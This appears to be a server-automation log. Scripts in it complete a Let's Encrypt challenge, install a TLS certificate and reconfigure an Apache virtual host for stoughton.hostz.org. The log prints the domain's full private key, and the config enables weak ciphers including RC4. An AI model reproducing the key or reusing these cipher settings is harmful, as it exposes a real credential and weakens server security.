MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-13 13:27:36: Establishing a connection
2026-02-13 13:27:37: Establishing a connection
2026-02-13 13:27:38: 

PUT: /tmp/pkp355533

#!/bin/bash
if [ -d "/var/www/hostz_stoughton/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-02-13 13:27:39: 

chmod 755 /tmp/pkp355533; /tmp/pkp355533; rm /tmp/pkp355533

2026-02-13 13:27:39: 


1


2026-02-13 13:27:40: Establishing a connection
2026-02-13 13:27:41: 

PUT: /tmp/pkp212739

#!/bin/bash
mkdir -p "/var/www/hostz_stoughton/.well-known/acme-challenge/"
cd "/var/www/hostz_stoughton/.well-known/acme-challenge/"
cat > sGgsFV-TAYgphC9pJJfDQ3adQ1hLdeOiiV3unmdqoRI <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
sGgsFV-TAYgphC9pJJfDQ3adQ1hLdeOiiV3unmdqoRI.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 sGgsFV-TAYgphC9pJJfDQ3adQ1hLdeOiiV3unmdqoRI


2026-02-13 13:27:42: 

chmod 755 /tmp/pkp212739; /tmp/pkp212739; rm /tmp/pkp212739

2026-02-13 13:27:43: 




2026-02-13 13:27:49: Establishing a connection
2026-02-13 13:27:50: 

PUT: /tmp/pkp865712

#!/bin/bash
mkdir -p "/var/www/hostz_stoughton/.well-known/acme-challenge/"
cd "/var/www/hostz_stoughton/.well-known/acme-challenge/"
rm sGgsFV-TAYgphC9pJJfDQ3adQ1hLdeOiiV3unmdqoRI


2026-02-13 13:27:50: 

chmod 755 /tmp/pkp865712; /tmp/pkp865712; rm /tmp/pkp865712

2026-02-13 13:27:51: 




2026-02-13 13:27:51: Establishing a connection
2026-02-13 13:27:52: 

PUT: /tmp/pkp193107

#!/bin/bash
temp_file=$(mktemp)
TARGET=ecea81f90eb664107ec66742d2c0036d

cat > $temp_file <<'endmsg'
ce:a8:09:fc:89:0f:07:92:0c:e5:67:e3:30:1e:11:7c

-----BEGIN CERTIFICATE-----
MIIE+jCCA+KgAwIBAgISBqDiZ1kw+TpHXawqgjRMYf33MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMjEzMTIyOTE4WhcNMjYwNTE0MTIyOTE3WjAeMRwwGgYDVQQD
ExNzdG91Z2h0b24uaG9zdHoub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEAqjpnIWDWOB9+6WWSwTOdsysZq6MylizNtm+B7lDZugk58DTiZ9c+qUue
bTKfy2QUCGF8sGzuLu+Izs92qUSEUZD04iJ9nH1xCYIH0S5hnltlUnmnf1TCTkT4
J2V8W5oOYoUOLZmYZ2YDeiBf8aRcgbP32UXfeHdEyHsyYIZ1c+22CW5aQpYNIL/F
bRZSyyBCQRc/bbgGWCiKBy2nWUpGy2+CqCLbOVu7lFCwxaQCCCe4zIPitHHYm1DL
x3lIYvtQOEhbKejVhvjh/AU2rf8fArG//gGOLvAsDOROSHCtFJNwy2fhCG/AXXHt
rrHWqcEbp1upC7MuxtmyPAJXA0oh0wIDAQABo4ICGzCCAhcwDgYDVR0PAQH/BAQD
AgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYE
FN3YUC13d/lv8Q0XalCPTN6PuS97MB8GA1UdIwQYMBaAFOernw8sM6BT015PeMiy
hA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3IxMy5p
LmxlbmNyLm9yZy8wHgYDVR0RBBcwFYITc3RvdWdodG9uLmhvc3R6Lm9yZzATBgNV
HSAEDDAKMAgGBmeBDAECATAvBgNVHR8EKDAmMCSgIqAghh5odHRwOi8vcjEzLmMu
bGVuY3Iub3JnLzEyMC5jcmwwggEFBgorBgEEAdZ5AgQCBIH2BIHzAPEAdgDLOPcV
iXyEoURfW8Hd+8lu8ppZzUcKaQWFsMsUwxRY5wAAAZxXL61gAAAEAwBHMEUCIAdu
2Qrb7GYWgjC9VvMPGRBlRxQw/ic6lT0XUSa9vSMRAiEA2W2RsPfS++OUO5jhpYgy
6l4ndH83SFKYQvntowzH6PwAdwCWl2S/VViXrfdDh2g3CEJ36fA61fak8zZuRqQ/
D8qpxgAAAZxXL62hAAAEAwBIMEYCIQD/AGO/BUrys466dj+ywXW8eSTWcnXAl9F2
SHE/8RXa9wIhANDyMnHE/qjvkDKF4OiEMU+i6GnRIDvpEvAoL2s8o0o3MA0GCSqG
SIb3DQEBCwUAA4IBAQARQBlZ82ZYiziZ2d2Hj3ZHKifA7hqR8AAl/3ao5PQBHIqd
3XcpyFww6yCK7WP5UFZWZF+Mix/uh2d0aFBTawfPeiwRl2K+HpswahpeBCWBdPBR
OxhMFQ2oTu6/P+0L78cZr4kCDe7vpk8XVzUD+33laMfrqYLVnlAgEMq0HDu1eBC7
sv4+5M7HnvakuNUt+uY0pyMreQbUeC/k+TrqAsfx06pAuwsRKy1GY5HKsxABpNbI
Imh8qSBtdI+KnzVpVYJXKl8Jm9jy5beSVDRZZTG/1FvBUrEutxqDRb0qN6MEvXFv
T4WzVzottKsqlBIK3eoxba8MHLQK1DoaXxnFou3Z
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCqOmchYNY4H37p
ZZLBM52zKxmrozKWLM22b4HuUNm6CTnwNOJn1z6pS55tMp/LZBQIYXywbO4u74jO
z3apRIRRkPTiIn2cfXEJggfRLmGeW2VSead/VMJORPgnZXxbmg5ihQ4tmZhnZgN6
IF/xpFyBs/fZRd94d0TIezJghnVz7bYJblpClg0gv8VtFlLLIEJBFz9tuAZYKIoH
LadZSkbLb4KoIts5W7uUULDFpAIIJ7jMg+K0cdibUMvHeUhi+1A4SFsp6NWG+OH8
BTat/x8Csb/+AY4u8CwM5E5IcK0Uk3DLZ+EIb8Bdce2usdapwRunW6kLsy7G2bI8
AlcDSiHTAgMBAAECggEACDgaWKiQpKm9+qOhNVuPprdTCFAwlhhYX7xR6Awr/Gk2
TJx7vgsiMbxpTC515rUl/nhD3qTeeeeuPFtqCFGQQ1FIxvkRWuf3ouo4rxHv5rHV
BOluJp4UulYRgUgg0Vob4wfiSl4F13WRKhQRbd0YwQPL2Mggj8l6dGT2Zrth779G
B6TvbmNKjce/u87did2SEVgWVgSPurWjP0K0/NZvkg7ueIeLljr92hR7mzFQaaKX
UgJ3C5YJ/k8aZL8+8TknUWfGs4FREzzUGPCRWzG80Rb1GXgVrpYv2weBi5Kqr73L
IrwOG2hbr0xKvQEBMYk8/xAkOuMcDFXN88HjuWQU+QKBgQDSYfnT+bHjM5IUSELa
1TneqlnVeNfUX9Cq/uikGQcoxr7MHctqImyo8BF8KalS6kv0ljdmJrzvh+RC6yPs
La2HsgEcFx+7YPObjvJEtpKnWYNgdajYvr+sV2hTG/KZfmMKn6r/6l5CMeNxjtBI
+sCVhQ3KSTSuwAVN+F0L6cz6zwKBgQDPI4HeAo5ivZxZ1TKABMAFISZzQHI+Ra68
d/HTXfkIPiTRcYDhiL4lyFQ2HmY1GA9pjbeKwtovrMdiY/sZWG80subGpFOILxbi
c0bOY5Tq2hdNBonNyg4NigLFVz7RPcBqAuvC4HABa6jbGy6+o6r3v+O6+M4/Wahw
U7sf9M1ZvQKBgCrx+Q9+TwO0CUO+pHcLQ67iU0gyTMx7apsdQdwNh9qZB2WfR2C4
+jlaGBeiYYAdd7fL2i8uBS9YLA5E9aZGhL/IZFWZms6jMdc1TNsd8b3blefg3MCx
32qMxS0B7XnLxOfsQ/nNm8QjbuxFXNso5Jsg9/mtC+YIKI0L/+JorYEdAoGAdvg0
2ddsAkhXKb1qwN55jzioBeAI/b02DCdz7Gt34gUXTng7hs3sMHUr8N1q5KnKCF0O
AxPBD0rURa2ZBcimLoVmSMcO9xPct/lvvJCzcmQKqAHOWjTn91zCFKf0e2dVQU4m
LQqNKjO0iwvEwFfulVdQLA5FH1uWg9WDj2oiG50CgYEAwtXHkzSPI/exzNeXWQ3C
JPTL7LRAJ6HMleF5B1+vpA1IeYUmMcyWjsO3v5dJ6OhOAXPd6Twzqi4N+U/qJo3e
bKAW+NRcaQyx2eZwSSmj5UqaBQ8PSWoKKmy00xaRLYKXZI2a5uYD0tr/jERTJOj5
ZjTRbYJhzdkGWco1qJQfkzI=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-02-13 13:27:52: 

chmod 755 /tmp/pkp193107; /tmp/pkp193107; rm /tmp/pkp193107

2026-02-13 13:27:53: 


dir=/etc/ssl/certs


2026-02-13 13:27:53: 

PUT: /tmp/pkp457024

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hostz_stoughton_us.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-02-13 13:27:53: 

chmod 755 /tmp/pkp457024; /tmp/pkp457024; rm /tmp/pkp457024

2026-02-13 13:27:53: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hostz_stoughton_us.conf 42
ServerName	stoughton.hostz.org

<VirtualHost *:80>
    ServerName	stoughton.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_stoughton
    <Directory /var/www/hostz_stoughton>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
        Require	all granted
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/stoughton_access.log combined
    ErrorLog	/var/log/apache2/pjy/stoughton_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.py index.php
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
    #    RewriteEngine       On
#    RewriteCond %{REQUEST_METHOD} !POST
#    RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	stoughton.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
    DocumentRoot	/var/www/hostz_stoughton
    <Directory /var/www/hostz_stoughton>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
        Require	all granted
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_stoughton/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/pjy/stoughton_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/stoughton_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py index.php
</VirtualHost>






2026-02-13 13:27:53: 

PUT: /tmp/pkp125106

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hostz_stoughton_us.conf
TARGET=/etc/apache2/sites-enabled/hostz_stoughton_us.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
ServerName	stoughton.hostz.org

<VirtualHost *:80>
    ServerName	stoughton.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_stoughton
    <Directory /var/www/hostz_stoughton>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
        Require	all granted
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/stoughton_access.log combined
    ErrorLog	/var/log/apache2/pjy/stoughton_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.py index.php
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
    #    RewriteEngine       On
#    RewriteCond %{REQUEST_METHOD} !POST
#    RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	stoughton.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
    DocumentRoot	/var/www/hostz_stoughton
    <Directory /var/www/hostz_stoughton>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
        Require	all granted
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_stoughton/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/pjy/stoughton_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/stoughton_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py index.php
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hostz_stoughton_us.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hostz_stoughton_us.conf)= /etc/apache2//etc/apache2/sites-enabled/hostz_stoughton_us.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hostz_stoughton_us.conf= 1'
fi


2026-02-13 13:27:54: 

chmod 755 /tmp/pkp125106; /tmp/pkp125106; rm /tmp/pkp125106

2026-02-13 13:27:54: 




2026-02-13 13:27:54: 

PUT: /tmp/pkp937177

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-02-13 13:27:54: 

chmod 755 /tmp/pkp937177; /tmp/pkp937177; rm /tmp/pkp937177

2026-02-13 13:27:55: 


.


2026-02-13 13:27:55: Establishing a connection
2026-02-13 13:27:56: 

PUT: /tmp/pkp764131

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-02-13 13:27:56: 

chmod 755 /tmp/pkp764131; /tmp/pkp764131; rm /tmp/pkp764131

2026-02-13 13:27:57: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
         port 80 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
         port 80 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:1)
         port 80 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:1)
         port 80 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:1)
         port 80 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:3)
*:443                  is a NameVirtualHost
         default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
         port 443 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
         port 443 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:37)
         port 443 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:22)
         port 443 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:22)
         port 443 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:28)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2026-02-13 13:27:57: 

PUT: /tmp/pkp692879

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hostz_stoughton_us.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-13 13:27:57: 

chmod 755 /tmp/pkp692879; /tmp/pkp692879; rm /tmp/pkp692879

2026-02-13 13:27:57: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hostz_stoughton_us.conf	1887
ServerName	stoughton.hostz.org

<VirtualHost *:80>
    ServerName	stoughton.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_stoughton
    <Directory /var/www/hostz_stoughton>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
        Require	all granted
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/stoughton_access.log combined
    ErrorLog	/var/log/apache2/pjy/stoughton_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.py index.php
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
    #    RewriteEngine       On
#    RewriteCond %{REQUEST_METHOD} !POST
#    RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	stoughton.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
    DocumentRoot	/var/www/hostz_stoughton
    <Directory /var/www/hostz_stoughton>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
        Require	all granted
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_stoughton/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/pjy/stoughton_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/stoughton_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py index.php
</VirtualHost>







2026-02-13 13:27:57: 

PUT: /tmp/pkp573629

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-13 13:27:58: 

chmod 755 /tmp/pkp573629; /tmp/pkp573629; rm /tmp/pkp573629

2026-02-13 13:27:58: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d	5348
ce:a8:09:fc:89:0f:07:92:0c:e5:67:e3:30:1e:11:7c

-----BEGIN CERTIFICATE-----
MIIE+jCCA+KgAwIBAgISBqDiZ1kw+TpHXawqgjRMYf33MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMjEzMTIyOTE4WhcNMjYwNTE0MTIyOTE3WjAeMRwwGgYDVQQD
ExNzdG91Z2h0b24uaG9zdHoub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEAqjpnIWDWOB9+6WWSwTOdsysZq6MylizNtm+B7lDZugk58DTiZ9c+qUue
bTKfy2QUCGF8sGzuLu+Izs92qUSEUZD04iJ9nH1xCYIH0S5hnltlUnmnf1TCTkT4
J2V8W5oOYoUOLZmYZ2YDeiBf8aRcgbP32UXfeHdEyHsyYIZ1c+22CW5aQpYNIL/F
bRZSyyBCQRc/bbgGWCiKBy2nWUpGy2+CqCLbOVu7lFCwxaQCCCe4zIPitHHYm1DL
x3lIYvtQOEhbKejVhvjh/AU2rf8fArG//gGOLvAsDOROSHCtFJNwy2fhCG/AXXHt
rrHWqcEbp1upC7MuxtmyPAJXA0oh0wIDAQABo4ICGzCCAhcwDgYDVR0PAQH/BAQD
AgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYE
FN3YUC13d/lv8Q0XalCPTN6PuS97MB8GA1UdIwQYMBaAFOernw8sM6BT015PeMiy
